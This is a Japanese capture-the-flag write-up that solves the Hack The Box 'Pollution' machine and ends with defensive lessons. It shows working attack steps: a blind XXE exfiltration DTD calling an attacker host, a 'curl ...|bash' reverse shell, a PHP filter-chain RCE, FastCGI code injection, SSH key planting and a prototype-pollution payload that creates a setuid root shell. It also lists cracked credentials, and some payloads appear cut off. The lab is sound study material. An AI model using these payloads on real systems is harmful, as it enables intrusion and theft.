Hack The BoxのWriteup(Pollution)[High]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Pollution — 全実行コマンド・実行結果レポート
Nmap/ffuf
80/6379、3サブドメイン
→
MyBB添付
Burp export→token
→
collect.htb管理者昇格
/set/role/admin
→
XXE blind OOB
php://filter exfil
→
Redis直接セッション偽装
型混同バイパス
→
PHP filter chain
LFI2RCE (www-data)
→
FastCGI直叩き
victor昇格+SSH鍵
→
user.txt ✓
→
lodash prototype pollution
root NodeJS API
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -p22,80,443 -sCV --min-rate 2000 10.129.228.126
RESULT
22/tcp  open   ssh     OpenSSH 8.4p1 Debian 5+deb11u1
80/tcp  open   http    Apache httpd 2.4.54
443/tcp closed https
Service Info: Host: collect.htb; OS: Linux
BASH (追加でredisも確認)
nmap -p22,80,6379 -sCV 10.129.228.126
# → 6379/tcp open redis key-value store (NOAUTH Authentication required)
ℹ️
nmapのhttp-titleスクリプトがHostヘッダからcollect.htbというドメインを示唆する。 /etc/hostsに登録。

サブドメイン探索

BASH
ffuf -u http://10.129.228.126 -H "Host: FUZZ.collect.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --mc all -ac
RESULT
forum                    [Status: 200]
developers              [Status: 401]
BASH
echo "10.129.228.126 collect.htb forum.collect.htb developers.collect.htb" | sudo tee -a /etc/hosts
ℹ️
3サイト構成: collect.htb(メインサイト、要ログイン)、 forum.collect.htb(MyBBフォーラム)、 developers.collect.htb(Basic認証、401)。
PHASE 2

MyBBフォーラムから管理者昇格tokenを窃取

フォーラム登録 (agreement→registration 2段階)

NOTE
MyBBの新規登録は2段階: まず同意(agreement)画面をPOSTし、返ってくる
登録フォームのmy_post_key/question_id/regtimeを使って本登録をPOSTする。

隠しフィールド regcheck1(空)/regcheck2(="true") はスパムボット対策の
ハニーポットで、省略すると "It has been detected that this form has
been submitted by a spam bot" というエラーで静かに弾かれる(重要な罠)。
セキュリティ質問は "What does 2 + 2 equal?" 形式 — 正規表現で解いて回答。
BASH
curl -s -b jar.txt -c jar.txt "http://forum.collect.htb/member.php" \
  --data-urlencode "action=register" --data-urlencode "step=agreement" \
  --data-urlencode "agree=I Agree"
# → my_post_key / question_id / regtime / "What does 2 + 2 equal?" を抽出

curl -s -b jar.txt -c jar.txt "http://forum.collect.htb/member.php" \
  --data-urlencode "action=do_register" --data-urlencode "step=registration" \
  --data-urlencode "regcheck1=" --data-urlencode "regcheck2=true" \
  --data-urlencode "username=0xdfagent" --data-urlencode "password=P@ssw0rd123!" \
  --data-urlencode "password2=P@ssw0rd123!" \
  --data-urlencode "email=0xdfagent@example.com" --data-urlencode "email2=0xdfagent@example.com" \
  --data-urlencode "answer=4" --data-urlencode "question_id=<抽出値>" \
  --data-urlencode "regtime=<抽出値>" --data-urlencode "my_post_key=<抽出値>" \
  --data-urlencode "agree=1"
RESULT
You have successfully been logged in.
(ログインは必ず新規cookie jarで — 登録に使ったセッションのまま
ログインするとmy_post_key検証に失敗することがある)

添付ファイル付きスレッドを発見してダウンロード

BASH
curl -s -b jar.txt "http://forum.collect.htb/forumdisplay.php?fid=2"
# → tid=13 "I had problems with the Pollution API" に 📎 attachment あり
curl -s -b jar.txt "http://forum.collect.htb/showthread.php?tid=13"
# → attachment.php?aid=3
curl -s -b jar.txt "http://forum.collect.htb/attachment.php?aid=3" -o proxy_history.txt
RESULT
proxy_history.txt: XML 1.0 document (Burp Suite Proxy History エクスポート)

XMLをパースしてtokenを抽出

PYTHON
import xml.etree.ElementTree as ET
import base64

tree = ET.parse('proxy_history.txt')
for item in tree.getroot().findall('item'):
    if 'set/role' in (item.find('url').text or ''):
        req = item.find('request')
        text = base64.b64decode(req.text).decode() if req.get('base64') == 'true' else req.text
        print(text)
RESULT
POST /set/role/admin HTTP/1.1
Host: collect.htb
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
Content-Type: application/x-www-form-urlencoded

token=ddac62a28254561001277727cb397baf
✅
権限昇格に使われたtokenを発見。セッション内容は関係なく token値自体が検証対象と推測し、自分のセッションに 流用する方針を立てる。

collect.htbで管理者昇格

BASH
curl -s -b main_jar.txt -c main_jar.txt "http://collect.htb/register" \
  --data-urlencode "username=0xdftest" --data-urlencode "password=P@ssw0rd123!"
curl -s -b main_jar.txt -c main_jar.txt "http://collect.htb/login" \
  --data-urlencode "username=0xdftest" --data-urlencode "password=P@ssw0rd123!"
curl -s -b main_jar.txt -c main_jar.txt "http://collect.htb/set/role/admin" \
  -d "token=ddac62a28254561001277727cb397baf" -i
RESULT
HTTP/1.1 302 Found
Location: /admin
✅
管理者権限取得成功。管理ページには「Register User in Pollution API」 というXML POSTフォームがある。
PHASE 3

XXE (blind, OOB) で Apache設定・.htpasswd・Redisパスワードを復元

XXE確認

NOTE
管理ページの登録フォームはバックグラウンドで manage_api パラメータに
XML (<root><method>POST</method><uri>/auth/register</uri><user>...</user></root>)
を送っている。XXEペイロードを混ぜて外部実体参照(SSRF)を試す。
BASH
curl -s -b main_jar.txt "http://collect.htb/api" --data-urlencode \
  'manage_api=
%ext;]>
POST/auth/register
tt'
RESULT (攻撃者側リスナー)
10.129.228.126 - - "GET /xxe HTTP/1.1" 404
✅
Blind XXE確定。外部DTD経由でファイルをphp://filterでbase64エンコード しOOB exfilするチェーンを構築する。

file exfil用DTDサーバーの実装

PYTHON (exfil_server.py、ポート80で待受)
dtd = (
  '<!ENTITY %% file SYSTEM "php://filter/convert.base64-encode/resource=%s">\n'
  '<!ENTITY %% eval "<!ENTITY &#x25; exfil SYSTEM \'http://ATTACKER/?%%file;\'>">\n'
  '%%eval;\n%%exfil;\n'
) % target_file
# /xxe.dtd?f=<path> でDTDを返し、続く exfil GET の querystring を
# base64デコードしてファイル内容を得る
BASH
curl -s -b main_jar.txt "http://collect.htb/api" --data-urlencode \
  'manage_api=
%ext;]>
POST/auth/register...'
RESULT (デコード済み)
ServerName developers.collect.htb
DocumentRoot /var/www/developers

<Directory "/var/www/developers">
    AuthType Basic
    AuthName "Restricted Content"
    AuthUserFile /var/www/developers/.htpasswd
    Require valid-user
</Directory>

.htpasswd を読取りクラック

BASH
# 同じXXE手法で /var/www/developers/.htpasswd を読取り
echo 'developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1' > hash.txt
hashcat -m 1600 hash.txt /usr/share/wordlists/rockyou.txt --user -O
RESULT
developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1:r0cket
developers.collect.htb Basic認証
developers_group : r0cket

bootstrap.php を読取りRedisパスワードを復元

BASH
# 同じXXE手法で /var/www/developers/bootstrap.php を読取り
RESULT
ini_set('session.save_handler', 'redis');
ini_set('session.save_path',
  'tcp://localhost:6379/?auth=COLLECTR3D1SPASS');
session_start();
PHASE 4

Redisセッション直接書換えで認証バイパス → PHP filter chainでLFI2RCE

index.phpソース取得で認証ロジックを確認

NOTE
Basic認証後のdeveloper siteには独自セッション認証がもう一段あり、
index.phpはLFI ($_GET['page'].".php"をinclude) を抱えるが
$_SESSION['auth'] != True でガードされている(XXEでソース取得して判明)。
RESULT (index.php 抜粋)
if (!isset($_SESSION['auth']) or $_SESSION['auth'] != True) {
    die(header('Location: /login.php'));
}
...
<?php include($_GET['page'] . ".php"); ?>
🚨
!=(緩い比較)での型混同チェックのため、PHPシリアライズの boolean true値さえセッションに入れられれば 文字列や数値など何であれ認証を通過できる。

Redisへ直接接続しセッションを書換え

BASH
# Basic認証のみでlogin.phpへアクセスしPHPSESSIDクッキーを発行させる
curl -s -c dev_cookies.txt -u "developers_group:r0cket" \
  http://developers.collect.htb/login.php

# 自分のセッションIDをRedis内で直接 "認証成功" 状態に書換え
redis-cli -h collect.htb -a 'COLLECTR3D1SPASS' --no-auth-warning \
  SET "PHPREDIS_SESSION:<自分のPHPSESSID>" "auth|b:1;"
RESULT
OK
BASH (動作確認)
curl -s -b dev_cookies.txt -u "developers_group:r0cket" \
  "http://developers.collect.htb/?page=home"
# → "Pollution Api" ピン留めプロジェクトのあるダッシュボードが返る
✅
アプリのログインロジックを一切経由せず、Redisへの直接書込みだけで developer dashboardへの認証バイパスに成功。

PHP filter chain で LFI2RCE

NOTE
synacktivのphp_filter_chain_generator.pyを使い、convert.iconv系フィルタを
数百段スタックして任意のPHPコードをphp://tempストリームの中身として
生成させるテクニック(ファイル書込み不要、既知ファイル名すら不要)。
BASH
python3 php_filter_chain_generator.py --chain ''
# → php://filter/convert.iconv.UTF8.CSISO2022KR|...(数千文字).../resource=php://temp

curl -s -b dev_cookies.txt -G -u "developers_group:r0cket" \
  "http://developers.collect.htb/" \
  --data-urlencode "page=<上記chain>" \
  --data-urlencode "0=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功(www-data)。 生成したfilter chainは実際のPHP インタプリタでデコード出力が元のコードと完全一致することを別途検証済み。

リバースシェル取得

BASH
# リスナー起動
nc -lnvp 4444

# 0= パラメータにリバースシェルコマンドを渡す
curl -s -b dev_cookies.txt -G -u "developers_group:r0cket" \
  "http://developers.collect.htb/" \
  --data-urlencode "page=" \
  --data-urlencode "0=curl 10.10.15.200/s|bash"
RESULT (ncリスナー側)
listening on [any] 4444 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.228.126] 49688
bash: cannot set terminal process group (969): Inappropriate ioctl for device
bash: no job control in this shell
www-data@pollution:~/developers$
PHASE 5

victor の php-fpm プールを FastCGI 直叩きし SSH 鍵注入 → user.txt

victor所有のphp-fpmプールを発見

BASH
www-data@pollution:~$ ps auxww | grep fpm
RESULT
root     php-fpm: master process
victor   php-fpm: pool victor
www-data php-fpm: pool www
BASH
www-data@pollution:~$ cat /etc/php/8.1/fpm/pool.d/www.conf | grep -v '^;' | grep .
RESULT
[victor]
user = victor
listen = 127.0.0.1:9000

cgi-fcgi でFastCGIを直叩きしPHPコード実行

NOTE
HackTricksのFastCGIペンテストスクリプトを応用。auto_prepend_fileに
data://wrapperでPHPコードを渡し、既存の/var/www/developers/index.phpを
SCRIPT_FILENAMEとして指定することでvictor権限のコード実行を得る。
BASH (ex.sh、Pollution上の /dev/shm に設置)
PAYLOAD="' . \"\n\";"
FILENAMES="/var/www/developers/index.php"
B64=$(echo "$PAYLOAD"|base64)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain;base64,$B64'" \
    SCRIPT_FILENAME=$FILENAMES SCRIPT_NAME=$FILENAMES REQUEST_METHOD=POST \
    cgi-fcgi -bind -connect localhost:9000
BASH
www-data@pollution:/dev/shm$ bash ex.sh id
RESULT
<!--uid=1002(victor) gid=1002(victor) groups=1002(victor)
-->
✅
victor権限での任意コマンド実行を確立。

SSH公開鍵を注入

NOTE
SSH公開鍵にはスペースが含まれるため、ex.shのPHPペイロードが
system("$1")と二重引用符でコマンドをラップしている関係上、鍵をそのまま
引数に渡すとPHP側で構文エラー(500)になる。コマンド全体をbase64で
ラップしてbashへデコード実行させることで引用符問題を回避する。
BASH
ssh-keygen -t ed25519 -f pollution_key -N ""
CMD="mkdir -p /home/victor/.ssh; echo $(cat pollution_key.pub) >> \
  /home/victor/.ssh/authorized_keys; chmod 700 /home/victor/.ssh; \
  chmod 600 /home/victor/.ssh/authorized_keys; \
  chown victor:victor /home/victor/.ssh /home/victor/.ssh/authorized_keys"
echo "$CMD" | base64 -w0 > cmd.b64

# www-dataシェルから:
echo  | base64 -d > /dev/shm/sshsetup.sh
bash ex.sh 'bash /dev/shm/sshsetup.sh'

SSH接続 & user.txt取得

BASH
ssh -i pollution_key victor@collect.htb "id; cat user.txt"
RESULT
uid=1002(victor) gid=1002(victor) groups=1002(victor)
0de449583b0c149947866c4bc6308b70
user.txt — victor@pollution
0de449583b0c149947866c4bc6308b70
PHASE 6

pollution_api (NodeJS, root稼働) の lodash prototype pollution → root.txt

root権限のNodeJS APIを発見

BASH
victor@pollution:~$ ls pollution_api
controllers  functions  index.js  log.sh  models  node_modules  routes
victor@pollution:~$ ps auxww | grep node
RESULT
root  /usr/bin/node /root/pollution_api/index.js
ℹ️
victorのホームにソースコードのコピーがあり、Express appは 127.0.0.1:3000限定でroot権限稼働。SSHポートフォワード (-L 3000:localhost:3000)またはSSH経由curlで到達する。

ソース解析: /admin/messages/send の脆弱性

RESULT (controllers/Messages_send.js 抜粋)
const message = {
    user_sent: token.user,
    title: "Message for admins",
};
_.merge(message, req.body);  // lodash merge、サニタイズなし

exec('/home/victor/pollution_api/log.sh log_message');  // ← この直後のexec呼出しが鍵
Message.create({ text: JSON.stringify(message), user_sent: token.user });
🚨
lodash.mergeはデフォルトで__proto__キーを フィルタせずObject.prototype自体を汚染できる。 汚染直後にNode.jsのchild_process.execが呼ばれるため、 execの内部オプション(options.shell / argv0 / NODE_OPTIONS)を Object.prototype経由で上書きしてRCEに繋げられる (HackTricksで知られるNode.js prototype pollution → RCEガジェット)。

管理者JWTの取得(一般ユーザー登録→MySQL直接role更新)

BASH
# 一般ユーザー登録・ログイン
curl -s -H 'Content-type: application/json' \
  -d '{"username":"0xdfnode","password":"0xdfnode"}' localhost:3000/auth/register
curl -s -H 'Content-type: application/json' \
  -d '{"username":"0xdfnode","password":"0xdfnode"}' localhost:3000/auth/login
# → role: "user" のJWT

# collect/developers/forum各サイトのconfig.phpに共通で埋め込まれた
# webapp_user MySQL資格情報でpollution_apiのusersテーブルを直接書換え
mysql -u webapp_user -p'Str0ngP4ssw0rdB*12@1' pollution_api \
  -e "update users set role='admin' where username='0xdfnode';"

# 再ログインでadmin権限のJWTを取得
curl -s -H 'Content-type: application/json' \
  -d '{"username":"0xdfnode","password":"0xdfnode"}' localhost:3000/auth/login
RESULT
{"Status":"Ok","Header":{"x-access-token":"eyJhbGc..."role":"admin"..."}}

prototype pollution ペイロード送信

PYTHON (JSONペイロード)
{
  "text": "pwn",
  "__proto__": {
    "shell": "/proc/self/exe",
    "argv0": "console.log(require('child_process').execSync('cp /bin/bash /tmp/0xdf && chmod 4755 /tmp/0xdf').toString())//",
    "NODE_OPTIONS": "--require /proc/self/cmdline"
  }
}
BASH
curl -s -H 'Content-type: application/json' \
  -H "x-access-token: $ADMIN_TOKEN" \
  -d @payload.json localhost:3000/admin/messages/send
RESULT
{"Status":"Ok"}

victor@pollution:~$ ls -la /tmp/0xdf
-rwsr-xr-x 1 root root 1234376 Nov  3 08:17 /tmp/0xdf
✅
汚染成功。 ハンドラ内のexec('.../log.sh log_message') 呼出しが汚染されたshell/argv0/NODE_OPTIONSを 拾い、root権限でペイロードコマンドを実行。setuid root の bash コピーが /tmp/0xdfに生成された。

root化 & root.txt取得

BASH
victor@pollution:~$ /tmp/0xdf -p -c 'id; cat /root/root.txt'
RESULT
uid=1002(victor) gid=1002(victor) euid=0(root) groups=1002(victor)
8026f09fae1dbbb8cd0395d3d59f79d0
root.txt — root@pollution (euid経由)
8026f09fae1dbbb8cd0395d3d59f79d0
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — victor@pollution
0de449583b0c149947866c4bc6308b70
root.txt — root@pollution
8026f09fae1dbbb8cd0395d3d59f79d0

使用した脆弱性

脆弱性対象影響深刻度利用方法
情報漏洩 MyBBフォーラム添付ファイル 権限昇格tokenの窃取 Medium 誰でも登録・閲覧できるスレッドに実運用時のBurp Proxy Historyエクスポートが添付されたまま放置
XXE collect.htb /api (manage_api XMLパラメータ) 任意ファイル読取り(blind OOB) Critical 外部DTD + php://filter base64エンコードでApache設定/.htpasswd/bootstrap.phpを窃取
緩い型比較バイパス PHPセッション認証(!= True) 認証バイパス High Redisに直接アクセスできる資格情報があれば、アプリのログインロジックを一切経由せずセッションを偽装できる
LFI2RCE (PHP filter chain) developers.collect.htb index.php リモートコード実行 (www-data) Critical 既知ファイル・書込み不要でphp://filterスタックだけでコード実行可能な技法
FastCGI直叩き victor所有php-fpmプール(127.0.0.1:9000) 権限昇格 (www-data→victor) High FastCGIソケットが別ユーザー権限で外部到達可能だとauto_prepend_fileでコード注入できる
Prototype Pollution pollution_api (NodeJS/Express, lodash merge) リモートコード実行 (root) Critical __proto__経由でObject.prototypeを汚染し、直後のchild_process.execの挙動を乗っ取る

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + ffuf vhostファジング80/6379、3サブドメイン
2権限昇格token窃取MyBB登録+添付Burpエクスポート解析token、collect.htb管理者権限
3XXEblind OOB + php://filter base64Basic認証資格情報、Redisパスワード
4認証バイパス+RCERedisセッション偽装 + PHP filter chainwww-dataシェル
5横展開FastCGI直叩き + SSH鍵注入user.txt(victor)
6権限昇格NodeJS prototype pollutionroot.txt

学んだ教訓 & 防御策

問題点防御策
社内フォーラムに実運用のBurpエクスポート(認証token含む)が誰でもダウンロードできる状態で放置 実運用のデバッグ情報・プロキシログを共有フォーラムに置かない。社内文書と秘密情報の分離を徹底する。
管理APIがXML入力を外部実体参照無効化なしでパース libxml_disable_entity_loader(true)相当の設定、またはXML処理前にDOCTYPE宣言を除去する。
PHPセッション認証チェックに緩い比較(!=)を使用 常に!==(厳密比較)を使う。Redisなど外部ストアへのアクセス制御も多層防御として重要。
LFI ($_GET値をそのままinclude) 許可済みページ名のホワイトリスト方式に変更し、ユーザー入力をファイルパスに直接使わない。
別ユーザー権限のFastCGIソケットが同一ホストから到達可能 php-fpmプールのlisten設定をUnixソケット+厳格なパーミッションにし、ネットワーク越しのFastCGI接続を禁止する。
lodashのmerge()にユーザー入力をサニタイズなしで渡し、直後にchild_process.execを呼ぶ設計 __proto__/constructor/prototypeキーを拒否するセーフなマージ関数を使う(最新lodashはCVE対応済みバージョンへ)。child_process呼出しの引数・オプションは常にホワイトリスト/固定値にする。
HackTheBox: Pollution | 完全攻略レポート